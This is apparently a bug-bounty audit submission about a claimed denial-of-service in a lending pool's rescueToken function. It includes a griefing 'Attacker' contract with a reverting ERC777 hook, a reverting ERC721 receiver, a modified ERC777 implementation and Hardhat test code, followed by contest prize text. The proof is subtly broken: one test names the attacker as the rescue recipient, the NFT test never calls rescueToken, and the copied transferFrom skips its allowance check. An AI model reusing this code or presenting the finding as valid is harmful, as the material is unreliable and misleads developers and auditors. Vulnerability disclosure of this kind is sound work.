Submission Details
Severity:
DOS can occur in LendingPool::rescueToken with ERC777 tokens and ERC721 tokens sent to contract addresses
Summary
The LendingPool::rescueToken function is designed to retrieve tokens mistakenly sent to the contract. However, it is vulnerable to Denial-of-Service (DOS) attacks when handling ERC777 tokens or ERC721 (NFT) tokens. These vulnerabilities arise due to the following issues:
ERC777 Tokens: ERC777 tokens have hooks that execute during transfers. If a malicious contract sends ERC777 tokens to the LendingPool and implements logic that reverts in the tokensReceived hook, the rescueToken function will fail.
ERC721 Tokens: ERC721 tokens require the receiving contract to implement the onERC721Received function. If the LendingPool does not implement this function or if the sender's logic reverts, the rescueToken function will fail.
These issues can render the rescueToken function unusable, preventing the recovery of mistakenly sent tokens and potentially locking funds in the contract.
Vulnerability Details
LendingPool::rescueToken is a function that retrieves tokens mistakenly sent to the contract. See below:
/**
* @notice Rescue tokens mistakenly sent to this contract
* @dev Only callable by the contract owner
* @param tokenAddress The address of the ERC20 token
* @param recipient The address to send the rescued tokens to
* @param amount The amount of tokens to rescue
*/
function rescueToken(address tokenAddress, address recipient, uint256 amount) external onlyOwner {
require(tokenAddress != reserve.reserveRTokenAddress, "Cannot rescue RToken");
IERC20(tokenAddress).safeTransfer(recipient, amount);
}
There are 2 issues that could cause a DOS to occur on this function which revolve around contracts sending tokens to the LendingPool. The first is a situation where an ERC777 token is sent to the contract. ERC777 tokens have hooks on transferring and receiving tokens. If an erc777 token is sent to the LendingPool contract by another contract, if the contract contains logic that could revert on receiving tokens, this could cause the function to revert. Also, if the token is an ERC721 which is an NFT, if the tokens are being sent to a contract, the receiving contract must implement an onERC721received function and return the selector for the transfer to be successful. if the receiving contract does not implement this or contains any logic that could revert, this could cause a DOS.
Proof Of Code (POC)
These tests were run in LendingPool.test.js in the "Borrow and Repay" describe block
Setup
To test this, deploy the following contracts:
//SDPX-License-Identifier: MIT
import "@openzeppelin/contracts/interfaces/IERC777Recipient.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC1820Registry.sol";
import {LendingPool} from "contracts/core/pools/LendingPool/LendingPool.sol";
import {ERC777} from "./ERC777.sol";
contract Attacker is IERC777Recipient {
address public rTokenaddy;
address public erc777;
error RejectERC777Error();
IERC1820Registry private _erc1820 =
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
constructor(address _rTokenaddy, address _erc777) {
rTokenaddy = _rTokenaddy;
erc777 = _erc777;
// Register interface in ERC1820 registry
_erc1820.setInterfaceImplementer(
address(this),
keccak256("ERC777TokensRecipient"),
address(this)
);
}
// ERC777 hook
function tokensReceived(
address,
address from,
address,
uint256,
bytes calldata,
bytes calldata
) external {
if (from != rTokenaddy) {
revert RejectERC777Error();
}
}
function sendToken(address lendingPool, uint256 amount) external {
ERC777(erc777).transfer(lendingPool, amount);
}
}
//SDPX-License-Identifier: MIT
import {IERC777} from "@openzeppelin/contracts/interfaces/IERC777.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
import {IERC1820Registry} from "@openzeppelin/contracts/interfaces/IERC1820Registry.sol";
import {Context} from "@openzeppelin/contracts/utils/Context.sol";
import {IERC777Sender} from "@openzeppelin/contracts/interfaces/IERC777Sender.sol";
import {IERC777Recipient} from "@openzeppelin/contracts/interfaces/IERC777Recipient.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract ERC777 is Context, IERC777, IERC20 {
using Math for uint256;
IERC1820Registry internal constant _ERC1820_REGISTRY =
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool))
private _revokedDefaultOperators;
// ERC20-allowances
mapping(address => mapping(address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(
address(this),
keccak256("ERC777Token"),
address(this)
);
_ERC1820_REGISTRY.setInterfaceImplementer(
address(this),
keccak256("ERC20Token"),
address(this)
);
}
/**
* @dev See {IERC777-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view override returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply()
public
view
override(IERC20, IERC777)
returns (uint256)
{
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(
address tokenHolder
) public view override(IERC20, IERC777) returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(
address recipient,
uint256 amount,
bytes memory data
) public override {
_send(_msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
require(
recipient != address(0),
"ERC777: transfer to the zero address"
);
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public override {
_burn(_msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view override returns (bool) {
return
operator == tokenHolder ||
(_defaultOperators[operator] &&
!_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public override {
require(
_msgSender() != operator,
"ERC777: authorizing self as operator"
);
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public override {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators()
public
view
override
returns (address[] memory)
{
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public override {
require(
isOperatorFor(_msgSender(), sender),
"ERC777: caller is not an operator for holder"
);
_send(sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(
address account,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public override {
require(
isOperatorFor(_msgSender(), account),
"ERC777: caller is not an operator for holder"
);
_burn(account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(
address holder,
address spender
) public view override returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(
address spender,
uint256 value
) public override returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(
address holder,
address recipient,
uint256 amount
) public override returns (bool) {
require(
recipient != address(0),
"ERC777: transfer to the zero address"
);
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
uint256 currentAllowance = _allowances[holder][spender];
_approve(holder, spender, amount);
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) internal virtual {
require(account != address(0), "ERC777: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, amount);
// Update state variables
_totalSupply = _totalSupply + amount;
_balances[account] = _balances[account] + amount;
_callTokensReceived(
operator,
address(0),
account,
amount,
userData,
operatorData,
true
);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal {
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(
operator,
from,
to,
amount,
userData,
operatorData,
requireReceptionAck
);
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
) internal virtual {
require(from != address(0), "ERC777: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), amount);
_callTokensToSend(
operator,
from,
address(0),
amount,
data,
operatorData
);
// Update state variables
_balances[from] = _balances[from] - amount;
_totalSupply = _totalSupply - amount;
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
_beforeTokenTransfer(operator, from, to, amount);
_balances[from] = _balances[from] - amount;
_balances[to] = _balances[to] + amount;
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(address holder, address spender, uint256 value) internal {
require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(
from,
_TOKENS_SENDER_INTERFACE_HASH
);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(
operator,
from,
to,
amount,
userData,
operatorData
);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(
to,
_TOKENS_RECIPIENT_INTERFACE_HASH
);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(
operator,
from,
to,
amount,
userData,
operatorData
);
}
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - when `from` is zero, `tokenId` will be minted for `to`.
* - when `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256 tokenId
) internal virtual {}
}
//SDPX-License-Identifier: MIT
import {ERC777} from "./ERC777.sol";
contract ERC777Token is ERC777 {
uint256 public constant initialSupply = 10000000000000e18;
constructor(address owner) ERC777("ERC777Token", "SSST", new address[](0)) {
_mint(owner, initialSupply, "", "");
}
}
//SDPX-license-Identifier: MIT
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IRAACNFT} from "contracts/interfaces/core/tokens/IRAACNFT.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract RejectERC721 is IERC721Receiver {
address public rAACNFT;
address public crvusd;
error RejectERC721Error();
constructor(address _raacNFT, address _crvusd) {
rAACNFT = _raacNFT;
crvusd = _crvusd;
}
function onERC721Received(
address operator,
address from,
uint256 token,
bytes calldata data
) external view override returns (bytes4) {
if (from != address(0)) {
revert RejectERC721Error();
}
return this.onERC721Received.selector;
}
function mintNFT(uint256 tokenId, uint256 amounttoPay) external {
IERC20(crvusd).approve(rAACNFT, amounttoPay);
IRAACNFT(rAACNFT).mint(tokenId, amounttoPay);
}
function transferNFT(address to, uint256 tokenId) external {
IRAACNFT(rAACNFT).transferFrom(address(this), to, tokenId);
}
}
Once the relevant contracts are deployed in LendingPool.test.js , run the following tests:
it("rescueTokenDOS", async function () {
//c for testing purposes
await raacHousePrices.setHousePrice(3, ethers.parseEther("100"));
const amountToPay = ethers.parseEther("100");
//c mint nft for user1. this mints an extra nft for the user. in the before each of the initial describe in LendingPool.test.js, user1 already has an nft
const tokenId = 3;
await token.mint(rejectERC721.target, amountToPay);
/*c for this test to work, you need to deploy the following contract
//SDPX-license-Identifier: MIT
pragma solidity ^0.8.0;
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IRAACNFT} from "contracts/interfaces/core/tokens/IRAACNFT.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract RejectERC721 is IERC721Receiver {
address public rAACNFT;
address public crvusd;
error RejectERC721Error();
constructor(address _raacNFT, address _crvusd) {
rAACNFT = _raacNFT;
crvusd = _crvusd;
}
function onERC721Received(
address operator,
address from,
uint256 token,
bytes calldata data
) external view override returns (bytes4) {
if (from != address(0)) {
revert RejectERC721Error();
}
return this.onERC721Received.selector;
}
function mintNFT(uint256 tokenId, uint256 amounttoPay) external {
IERC20(crvusd).approve(rAACNFT, amounttoPay);
IRAACNFT(rAACNFT).mint(tokenId, amounttoPay);
}
function transferNFT(address to, uint256 tokenId) external {
IRAACNFT(rAACNFT).transferFrom(address(this), to, tokenId);
}
}
then deploy the contract in the initial desribe with the following lines:
const RejectERC721 = await ethers.getContractFactory("RejectERC721");
rejectERC721 = await RejectERC721.deploy(raacNFT.target, crvusd.target);
*/
//c if a user mistakenly transfers an nft to the lending pool which is actually the main token that the lending pool contract uses, there will be no way to recover that nft. the protocol doesnt need to focus on how having a rescuetoken function that doesnt focus on nfts as the nfts are extremely valuable so it makes sense to have guards in place to prevent users from losing their nfts
await rejectERC721.connect(user1).mintNFT(tokenId, amountToPay);
await rejectERC721
.connect(user1)
.transferNFT(lendingPool.target, tokenId);
});
it("rescueTokenERC777", async function () {
//c for testing purposes
await ERC777Token.connect(owner).transfer(
attacker.target,
ethers.parseEther("100")
);
await attacker.sendToken(lendingPool.target, ethers.parseEther("100"));
await expect(
lendingPool.rescueToken(
ERC777Token.target,
attacker.target,
ethers.parseEther("100")
)
).to.be.revertedWithCustomError("RejectERC777Error");
});
Impact
Denial of Service: The rescueToken function becomes unusable for ERC777 and ERC721 tokens, preventing the recovery of mistakenly sent tokens.
Locked Funds: Tokens sent to the LendingPool cannot be retrieved, leading to permanent loss of funds.
Tools Used
Manual Review, Hardhat
Recommendations
include checks in LendingPool::rescueToken to prevent transfers to contract addresses
Prize pool breakdown
Total prize
77,280 USDC
nSLOC
3,86420 USDC / LOC
74,000
3,280
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.